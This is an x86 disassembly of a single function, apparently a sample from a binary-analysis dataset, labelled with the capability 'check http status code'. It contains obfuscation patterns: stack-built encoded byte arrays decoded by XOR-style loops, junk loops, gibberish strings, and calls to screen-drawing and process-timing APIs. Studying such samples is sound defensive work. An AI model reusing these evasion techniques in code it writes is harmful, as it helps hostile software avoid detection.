Function at 0x1003042b
Capabilities:
Check http status code

Disassembly:
mov eax, 0x1005dc30
call fcn.1005c588
sub esp, 0x554
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x14c], ecx
xor ebx, ebx
lea ecx, [ebp - 0x278]
push 2
mov dword [ebp - 4], ebx
call fcn.1000ddb2
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 1
push eax
push 0x139d
push 0x6ec0
lea eax, [ebp - 0x308]
mov dword [ebp - 0x188], 5
push eax
push 1
push 0x53e1
mov dl, 1
xor cl, cl
call fcn.1002f756
add esp, 0x18
lea eax, [ebp - 0x188]
mov edx, 0x1056
push 1
push 0x7b2f
push ecx
push 0x4fba
push ebx
push 0x3356
push ecx
push ebx
push 0x7fde
push eax
lea eax, [ebp - 0x278]
mov ecx, 0x326e
push eax
push 0x2962
call fcn.10030302
push 0x7ccb
push 0x1af8
push 0x78d5
lea eax, [ebp - 0x188]
mov edx, 0x71a6
push eax
push 0x4c41
push 0x1f38
push 0x6632
push 1
push 1
push 1
mov ecx, 0x3eae
call fcn.1002f254
add esp, 0x58
lea ecx, [ebp - 0x278]
call fcn.1000de35
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
push 2
lea ecx, [ebp - 0x2b4]
mov byte [ebp - 4], 2
call fcn.1000ddb2
push 1
push 0x355
push 0x3bca
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2b4]
push 1
mov dword [ebp - 0x1f4], 0xbb743d83
push ebx
mov dword [ebp - 0x1ec], 0x69ec4279
mov dword [ebp - 0x18c], 0xfffffffd
push eax
push 0x774
mov edx, 0x4fbe
lea ecx, [ebp - 0x350]
call fcn.1002ef7b
add esp, 0x1c
lea eax, [ebp - 0x1ec]
lea edx, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x2b4]
push eax
push 0x71eb
push 1
push ecx
mov ecx, 0x3f4d
call fcn.1002f8ae
add esp, 0x14
lea eax, [ebp - 0x18c]
xor dl, dl
push 0x2717
push eax
push ecx
push ecx
mov ecx, 0x4a27
call fcn.1002fc13
add esp, 0x14
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2b4]
call fcn.1000de35
push 3
pop eax
push 0x74
mov byte [ebp - 0x8b], al
mov ecx, ebx
mov byte [ebp - 0x83], al
pop eax
push 2
mov dword [ebp - 0x9c], 0x1702c309
mov dword [ebp - 0x98], 0x2d060d08
mov dword [ebp - 0x94], 0x22010000
mov dword [ebp - 0x90], 0xa070404
mov byte [ebp - 0x8c], 0xc
mov dword [ebp - 0x8a], 0x7d044105
mov word [ebp - 0x86], 0x54c8
mov byte [ebp - 0x84], 0xd2
mov dword [ebp - 0x82], 0xb1a0a45
mov byte [ebp - 0x7e], 0x1d
mov word [ebp - 0x376], ax
pop esi
mov dword [ebp - 0x160], ecx
cmp esi, 0x14
jne 0x10030679
push 5
pop ecx
push 0x17
mov dword [ebp - 0x160], ecx
pop esi
jmp 0x100306c8
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
push 0xd2d
movzx eax, byte [ebp + eax - 0x9e]
movzx eax, word [ebp + eax*2 - 0x388]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
mov word [ebp + eax*2 - 0x388], cx
lea eax, [ebp - 0x160]
push eax
push ebx
call fcn.1002f9d4
mov ecx, dword [ebp - 0x160]
add esp, 0xc
add esi, 2
cmp esi, 0x1f
jb 0x10030666
xor eax, eax
lea ecx, [ebp - 0x290]
push 1
mov word [ebp - 0x36e], ax
call fcn.1000ddb2
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 4
push eax
push ecx
lea eax, [ebp - 0x304]
mov dword [ebp - 0x1c], 0xba2d3c5e
push eax
push ebx
mov edx, 0x4004
call fcn.100301b9
mov eax, dword [ebp - 0x290]
lea ecx, [ebp - 0x290]
add esp, 0x10
mov byte [ebp - 4], 2
mov dword [eax], 0xfffffff2
call fcn.1000de35
xor eax, eax
push ecx
inc eax
push eax
mov dword [ebp - 0x1c], eax
push ecx
mov dword [ebp - 0x1c], 0x3f23e93d
mov ecx, 0x69fb
mov dword [ebp - 0x1d8], 0xfffd
call fcn.1002f733
add esp, 0xc
mov byte [ebp - 0x32], bl
lea eax, [ebp - 0x32]
mov edx, 0x4ae6
mov ecx, 0x4801
push ebx
push eax
push 0x4e51
push 1
push 1
push 0x1fe8
push 0x12c2
call fcn.1002ef7b
add esp, 0x1c
mov dword [ebp - 0x7b], 0x1000588
mov dword [ebp - 0x77], 0x407060c
mov dword [ebp - 0x73], 0x78836555
mov dword [ebp - 0x6f], 0xb070600
push 3
pop ecx
push 0x63
pop eax
mov byte [ebp - 0x7c], cl
mov ecx, ebx
push 2
mov dword [ebp - 0x6b], 0x4c044802
mov word [ebp - 0x2da], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 8
jne 0x100307ce
push 5
pop ecx
push 0xb
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x10030821
movzx edx, byte [ebp + esi - 0x7b]
mov eax, esi
sub eax, ecx
push 0x3704
movzx eax, byte [ebp + eax - 0x7e]
movzx eax, word [ebp + eax*2 - 0x2e0]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x5aa
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
push ecx
push ecx
push 0x789f
mov word [ebp + eax*2 - 0x2e0], cx
lea eax, [ebp - 0x168]
push eax
mov cl, 1
call fcn.1002ead9
mov ecx, dword [ebp - 0x168]
add esp, 0x14
add esi, 2
cmp esi, 0x15
jb 0x100307bb
xor eax, eax
mov dword [ebp - 0x358], ebx
push 7
mov word [ebp - 0x2d0], ax
lea ecx, [ebp - 0x368]
pop esi
mov word [ebp - 0x368], ax
lea eax, [ebp - 0x2e0]
push eax
mov dword [ebp - 0x354], esi
call fcn.10024398
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x34c]
xor eax, eax
mov dword [ebp - 0x338], esi
mov word [ebp - 0x34c], ax
lea eax, [ebp - 0x388]
push eax
mov dword [ebp - 0x33c], ebx
call fcn.10024398
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x410]
call fcn.1002a93c
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x3f8]
call fcn.1002a93c
push ebx
push 1
lea ecx, [ebp - 0x34c]
call fcn.1000e73d
push ebx
push 1
lea ecx, [ebp - 0x368]
call fcn.1000e73d
mov byte [ebp - 4], 9
lea eax, [ebp - 0x3e0]
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x17c], ebx
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x178], ebx
push eax
push ebx
mov dword [ebp - 0x174], ebx
call fcn.100342a9
push fcn.1002aa3a
push 1
push 0x30
lea eax, [ebp - 0x410]
mov byte [ebp - 4], 0xb
push eax
call fcn.1004420b
mov dword [ebp - 0x2c], 1
lea ecx, [ebp - 0x23c]
push 3
call fcn.1000ddb2
lea eax, [ebp - 0x224]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x204], 1
push eax
push ecx
push ecx
call fcn.1002f658
mov eax, dword [ebp - 0x2c]
add esp, 0x10
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x23c]
mov dword [ecx + 4], eax
test eax, eax
je 0x10030964
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp dword [ecx + 4], ebx
je 0x10030997
push ecx
push ecx
lea eax, [ebp - 0x35]
mov byte [ebp - 0x35], bl
push eax
push 0x2380
xor dl, dl
mov ecx, 0x48d
call fcn.1002fadd
add esp, 0x10
jmp 0x100309f1
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x208], 0xe0c0
push eax
push 0x3c9
lea eax, [ebp - 0x204]
mov dword [ebp - 0x210], ebx
push eax
push 0x5eef
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x21c], 0x826a
push eax
push 0x732f
lea eax, [ebp - 0x208]
push eax
push ebx
push ebx
push 1
lea edx, [ebp - 0x210]
lea ecx, [ebp - 0x2c]
call fcn.1002f254
add esp, 0x28
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10030a0c
push 0x4c32
xor dl, dl
mov ecx, 0x3dee
call fcn.1002fb28
pop ecx
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0xb
call fcn.1000de35
mov ecx, esi
lea edi, [ebp - 0x388]
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0x256915a
push 3
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x10030a4e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d4], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030a3d
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x10030a97
push 0x6e4b
push 0x1b51
push 0x7baf
push 0x7496
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0xffff
mov dl, 1
push 1
push eax
mov cl, dl
call fcn.1002f756
add esp, 0x18
dec dword [ebp - 0x14]
jns 0x10030a5f
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 2
jg 0x10030b1a
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1d4], ebx
jne 0x10030b1a
mov dword [ebp - 0x40], 0x7325
cmp dword [ebp - 0x40], 0x75e4
jle 0x10030b05
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x428]
cdq
push edx
push eax
call fcn.10001abf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10030ade
mov eax, dword [eax]
push eax
call fcn.10044453
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x428]
call fcn.1000e569
inc esi
cmp esi, 0x715f
jl 0x10030ac0
inc edi
cmp edi, 0x3133
jl 0x10030abe
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1d4], ebx
je 0x10030b3a
cmp dword [ebp - 0x4c], ebx
je 0x10030bc8
xor eax, eax
lea edi, [ebp - 0x2e0]
stosd dword es:[edi], eax
push 3
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0x30f94f37
mov dword [ebp - 0x18], ebx
jmp 0x10030bfc
mov dword [ebp - 0x18], 2
xor edx, edx
mov dword [ebp - 0x1c], 6
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d4], ecx
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setl dl
cmp edx, dword [ebp - 0x18]
je 0x10030b98
mov dword [ebp - 0x18], 0x1fad
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x1d4]
mov eax, dword [ebp - 0x18]
cmp eax, 0x93e7
setg cl
imul edx, ecx
cmp edx, dword [ebp - 0x14]
jge 0x10030b98
xor eax, eax
inc eax
jmp 0x10030b9a
mov eax, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
je 0x10030bc8
push 0x24af
lea eax, [ebp - 0x36]
mov byte [ebp - 0x36], bl
push eax
push 1
push ebx
mov edx, 0x3d97
mov cl, 1
call fcn.1002fa09
add esp, 0x10
inc dword [ebp - 0x18]
jne 0x10030ba5
cmp dword [ebp - 0x40], 0x72df
jge 0x10030bdc
push str.vriiqob_cydfhbv_tvya_rry_iqmg_xpnrou_dzcwom_vicd_mdvyhyefv_ekpqffbvc_oivzah
call fcn.10044453
pop ecx
mov dword [ebp - 4], 0xb
inc dword [ebp - 0x14]
jmp 0x10030a9a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x260], 0xec2e0cf5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030beb
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10030c58
mov dword [ebp - 0x14], 0xccbad86e
mov dword [ebp - 0x14], ebx
jmp 0x10030c28
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x260], ebx
jne 0x10030c2e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10030c19
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x10030c53
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10030c4e
push ecx
push ecx
xor cl, cl
call fcn.1002f83b
pop ecx
pop ecx
dec dword [ebp - 0x14]
jns 0x10030c3a
dec dword [ebp - 0x18]
jns 0x10030c0d
mov eax, dword [ebp - 0x260]
mov edx, 0x53ec
push 0xaf2
push 0x190c
mov dword [ebp - 0x25c], eax
lea eax, [ebp + 8]
push 0x59e
push eax
push ebx
push ecx
lea ecx, [ebp - 0x17c]
call fcn.1002f8ae
add esp, 0x10
mov cl, 1
call fcn.1002f83b
pop ecx
pop ecx
push ebx
push 0x4218
push 0x2300
call fcn.1002368b
pop ecx
pop ecx
call eax
mov dword [ebp - 0x1c], 0x6d5d
cmp dword [ebp - 0x1c], 0x712d
jle 0x10030d5f
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x7e21
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x4c], 0x3b45
mov edi, ebx
mov ebx, dword [ebp - 0x40]
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x10079cf8
cdq
push edx
push eax
call fcn.1000dad0
inc edi
cmp edi, 0x5164
jl 0x10030cd8
mov eax, dword [ebp - 0x18]
add ebx, eax
dec dword [ebp - 0x4c]
push 0
mov dword [ebp - 0x40], ebx
pop ebx
jne 0x10030cd3
add eax, esi
dec dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jne 0x10030cc9
inc esi
cmp esi, 0x394c
jl 0x10030cbf
push 0x1b0
push 0x23a6
push ebx
push ebx
push 0xad4
push 0x1547
push 0x14d7
push 0x1406
push 0x1428
push 0x11c2
push 0x1b8b
push 0x1f8d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
mov dword [ebp - 0x18], 0xffffffff
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x1c], 0x6c8f
jge 0x10030da0
mov edx, str.mgwjkmt_niaq_unb
mov ecx, 0x10079cf8
call fcn.1001081c
jmp 0x10030da0
push 3
mov dword [ebp - 4], 0xb
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x10030dbd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10030daf
mov dword [ebp - 0x14], ebx
jmp 0x10030dd9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x334], 0x7d37
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030dc8
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x60]
setle cl
imul eax, ecx
test eax, eax
je 0x10030e02
cmp dword [ebp - 0x60], ebx
je 0x10030e02
cmp dword [ebp - 0x64], ebx
je 0x10030e02
xor edx, edx
inc edx
jmp 0x10030e04
mov edx, ebx
mov eax, dword [ebp - 0x60]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x60]
push 3
setge cl
add eax, ecx
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x330]
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, eax
mov eax, dword [ebp - 0x330]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setl dl
xor ecx, ecx
cmp eax, 0x72d4
setge cl
imul ecx, edx
test ecx, ecx
je 0x10030e4e
cmp dword [ebp - 0x60], ebx
je 0x10030e4e
xor eax, eax
inc eax
jmp 0x10030e50
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], ebx
jmp 0x10030e66
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x64], 0x38367457
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10030e58
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x1c], 0xe60f951f
mov dword [ebp - 0x18], ebx
jmp 0x10030ea4
push 0x69bd
push 0x3e7f
push 1
push 1
push 0x163c
xor dl, dl
mov ecx, 0x5cd8
call fcn.1002fa4c
add esp, 0x14
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
jl 0x10030e7f
lea eax, [ebp - 0x34]
mov byte [ebp - 0x34], bl
push eax
push 0x4438
push 1
call fcn.1002f9d4
add esp, 0xc
lea eax, [ebp - 0x300]
push 0x1cae
push eax
push ecx
push 0x74c2
push 0x59af
push 0xfc7
push 0x5fb2
push 0x7a17
xor cl, cl
call fcn.1002edf1
movdqa xmm0, xmmword [0x1006bec0]
lea eax, [ebp - 0x398]
add esp, 0x20
mov dword [ebp - 0x1c8], ebx
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c4], ebx
movdqu xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x1c0], ebx
push dword [ebp - 0x224]
push eax
lea eax, [ebp - 0x3a8]
push eax
push ebx
call fcn.100111f2
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1e0], ebx
mov dword [eax], 0xffffffea
push 2
lea ecx, [ebp - 0x248]
call fcn.1000ddb2
push 1
push 0x4f6c
push ecx
push 0xf4e
push 1
push 0xbb4
push ecx
push ebx
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x12
push eax
push 0x347f
push 0x7823
push 0x49c1
mov edx, 0x9ee
lea ecx, [ebp - 0x248]
call fcn.10030302
add esp, 0x30
mov dword [ebp - 0x44], ebx
jmp 0x10030fab
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2f0], 0xd86e52d8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 4
jl 0x10030f9a
xor eax, eax
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], ebx
jl 0x10031117
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ebx
jl 0x1003110b
mov dword [ebp - 0x3c], 0xaf8b5131
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jl 0x100310f2
mov dword [ebp - 0x30], 0xa92bd42c
mov dword [ebp - 0x30], ebx
jmp 0x100310e0
push 3
lea ecx, [ebp - 0x26c]
call fcn.1000ddb2
lea eax, [ebp - 0x30c]
mov byte [ebp - 4], 0x13
push eax
push 0x2ee
push ebx
push 1
push 0x58cd
mov dl, 1
lea ecx, [ebp - 0x26c]
call fcn.1002fa4c
mov esi, dword [ebp - 0x26c]
add esp, 0x14
mov dword [esi], ebx
lea eax, [ebp - 0x248]
xor dl, dl
push eax
push 0x60ae
lea eax, [ebp - 0x3c]
mov cl, 1
push eax
push 0x46de
lea eax, [ebp - 0x30]
push eax
push 1
push 0x15eb
push 0x689e
push 0x1401
push 0x7bd6
call fcn.1002fd77
push 0x6b7e
push 0x75a6
push 1
push 1
lea edx, [ebp - 0x31]
mov byte [ebp - 0x31], bl
mov cl, 1
call fcn.1002fa09
add esp, 0x38
inc dword [esi]
cmp dword [esi], 1
jle 0x10031034
push ebx
lea eax, [ebp - 0x30]
push eax
push ecx
lea eax, [ebp - 0x3c]
push eax
push 1
push 0x5a02
push ecx
push 1
push 0x79c2
push 0x6ae1
lea eax, [ebp - 0x48]
mov ecx, 0xef2
push 0x11f1
push eax
lea edx, [ebp - 0x1e0]
call fcn.10030302
add esp, 0x30
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x26c]
call fcn.1000de35
inc dword [ebp - 0x30]
xor eax, eax
inc eax
cmp dword [ebp - 0x30], eax
jle 0x10030ff7
dec dword [ebp - 0x3c]
jns 0x10030fe8
mov eax, dword [ebp - 0x248]
cmp dword [eax], ebx
jne 0x10031108
dec dword [ebp - 0x48]
push 1
pop eax
jns 0x10030fd5
xor eax, eax
inc eax
dec dword [ebp - 0x2e8]
jns 0x10030fc6
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0x11
call fcn.1000de35
mov eax, dword [ebp - 0x1c8]
inc dword [eax]
cmp dword [eax], 9
jle 0x10030f48
mov dword [ebp - 0x1c], 0x77b4
cmp dword [ebp - 0x1c], 0x7815
jle 0x100311af
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x464]
cdq
push edx
push eax
call fcn.10001abf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003116e
mov eax, dword [eax]
push eax
call fcn.10044453
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.1000e569
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x3371
jl 0x10031150
inc edi
cmp edi, 0x6ded
jl 0x1003114e
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x7ada
jl 0x1003114c
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0x6696
lea eax, [ebp - 0x33]
mov byte [ebp - 0x33], bl
push eax
push 0x6108
push 0x6dc0
push 0x68eb
push 0x612d
push 0x4cfa
push 1
push 1
push ebx
mov edx, 0x5e7a
mov ecx, 0x5413
call fcn.1002f254
add esp, 0x28
cmp dword [ebp - 0x1c], 0x773e
jge 0x100311ff
push str.zhraoqyn_bspxid_ncj_pheg_pihoxyll_uyzu_cuyzpjx_kyyijba_bnqxkex_zdxbr_hlk
call fcn.10044453
pop ecx
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 4], 0xb
call fcn.1000de35
push 3
pop edx
push 0x39
pop eax
push 2
pop esi
push 0x46
mov word [ebp - 0x474], ax
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xf0], 0xd0cc922
mov word [ebp - 0xec], 0x505
mov byte [ebp - 0xea], 0x15
mov byte [ebp - 0xe9], bl
mov dword [ebp - 0xe8], 0x621011a
mov word [ebp - 0xe4], 0x21d
mov byte [ebp - 0xe2], 0x1f
mov byte [ebp - 0xe1], dl
mov dword [ebp - 0xe0], 0x7c230e14
mov dword [ebp - 0xdc], 0x7016740f
mov dword [ebp - 0xd8], 0x1f097312
mov byte [ebp - 0xd4], bl
mov dword [ebp - 0xd3], 0xe3f0856
mov dword [ebp - 0xcf], 0x19152469
mov dword [ebp - 0xcb], 0xa1d1308
mov dword [ebp - 0xc7], 0xb040619
mov byte [ebp - 0xc3], dl
mov dword [ebp - 0xc2], 0x1200b07
mov dword [ebp - 0xbe], 0x771b0d17
mov dword [ebp - 0xba], 0x761c051e
mov dword [ebp - 0xb6], 0x69187402
mov byte [ebp - 0xb2], dl
mov dword [ebp - 0xb1], 0x4010d15
mov dword [ebp - 0xad], 0x272107a
mov dword [ebp - 0xa9], 0x7511ac6a
mov dword [ebp - 0xa5], 0x38250101
pop eax
cmp esi, eax
jne 0x1003131c
push 0x47
mov ecx, edx
pop esi
jmp 0x10031358
movzx edx, byte [ebp + esi - 0xef]
mov eax, esi
sub eax, ecx
push 0x46
movzx eax, byte [ebp + eax - 0xf2]
movzx eax, word [ebp + eax*2 - 0x4b8]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xf0]
mov word [ebp + eax*2 - 0x4b8], cx
mov ecx, ebx
pop eax
push 3
pop edx
add esi, 2
cmp esi, 0x4f
jb 0x10031311
xor eax, eax
lea ecx, [ebp - 0x328]
push edx
mov word [ebp - 0x46c], ax
call fcn.1000ddb2
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff8
push 2
call fcn.1000ddb2
push 0x31a
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 0x17
push eax
push 1
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1e8], 0x9d73df2e
push 1
push eax
mov dl, 1
mov ecx, 0x22fa
call fcn.1002fa4c
add esp, 0x14
mov dword [ebp - 0x24], ebx
jmp 0x100313e2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3e0], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100313d1
xor ecx, ecx
mov dword [ebp - 0x24], ebx
inc ecx
jmp 0x10031401
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x31c], 0xecc2443a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x100313f0
push 0x6339
push ecx
push ecx
push 0x340e
push ebx
push 0x4292
lea eax, [ebp - 0x318]
mov edx, 0x298a
push eax
lea eax, [ebp - 0x24]
mov ecx, 0x2ae8
push eax
call fcn.1002fb78
add esp, 0x1c
push ebx
push ecx
lea ecx, [ebp - 0x1e8]
call fcn.1002f733
add esp, 0xc
lea ecx, [ebp - 0x318]
call fcn.1000de35
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0xb
call fcn.1000de35
xor eax, eax
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
lea ecx, [ebp - 0x2a8]
lea eax, [ebp - 0x4b8]
mov dword [ebp - 0x298], ebx
push eax
call fcn.10024398
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x1f0], 0xffffffff
push 4
call fcn.1000ddb2
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x1c], 0x3ee9
cmp dword [ebp - 0x1c], 0x4002
jle 0x10031500
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x440]
or eax, edi
cdq
push edx
push eax
call fcn.10001abf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100314d9
mov eax, dword [eax]
push eax
call fcn.10044453
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x440]
call fcn.1000e569
inc esi
cmp esi, 0x5bca
jl 0x100314bd
inc edi
cmp edi, 0x2189
jl 0x100314bb
cmp dword [ebp - 0x1c], 0x3c88
jge 0x10031514
push str.zcnudgxeo_tfobqmbis_ceapey_slll_wdvjyww_yqdihrimh_bir_tpmwcwcw_nlappegky_cdau_eteqixy_xmhjsvnk_njipaqquf
call fcn.10044453
pop ecx
push ecx
push ecx
lea eax, [ebp - 0x284]
mov dword [ebp - 4], 0x19
push 0x4f3f
push eax
mov dl, 1
lea ecx, [ebp - 0x36c]
call fcn.1002fadd
lea eax, [ebp - 0x1f0]
mov dl, 1
push eax
lea ecx, [ebp - 0x284]
call fcn.1002fb28
add esp, 0x14
mov byte [ebp - 0x37], bl
lea eax, [ebp - 0x37]
mov dl, 1
push eax
call fcn.1002fb49
pop ecx
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 0x18
call fcn.1000de35
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x4b8]
rep stosd dword es:[edi], eax
push 3
pop ecx
stosw word es:[edi], ax
mov dword [ebp - 0x1c], 0xa53d06ce
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x1c], 0x2830
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x14], ebx
jmp 0x100315b9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x44c], 0x7b1891f7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100315a8
mov dword [ebp - 0x14], ebx
jmp 0x100315d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x518], 0x89328a06
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100315c3
inc dword [ebp - 0x1c]
mov edx, 0x2884
push 0x7498
push 1
push 1
push 0x7370
push 1
push 0x3d6a
push 0x2b4f
push 0x794d
mov ecx, 0x1734
call fcn.1002fb78
add esp, 0x20
mov dword [ebp - 0x20c], 0x85c6
lea ecx, [ebp - 0x254]
push 2
call fcn.1000ddb2
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x22c], 0xc99220c4
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x1c], 0x2b3
cmp dword [ebp - 0x1c], 0x52a
jle 0x10031670
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10079cf8
or eax, esi
cdq
push edx
push eax
call fcn.1000dad0
inc edi
cmp edi, 0x364b
jl 0x1003164d
inc esi
cmp esi, 0x1bf8
jl 0x1003164b
mov dword [ebp - 0x230], 0xffffffff
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x1c], 0x107
jge 0x100316b4
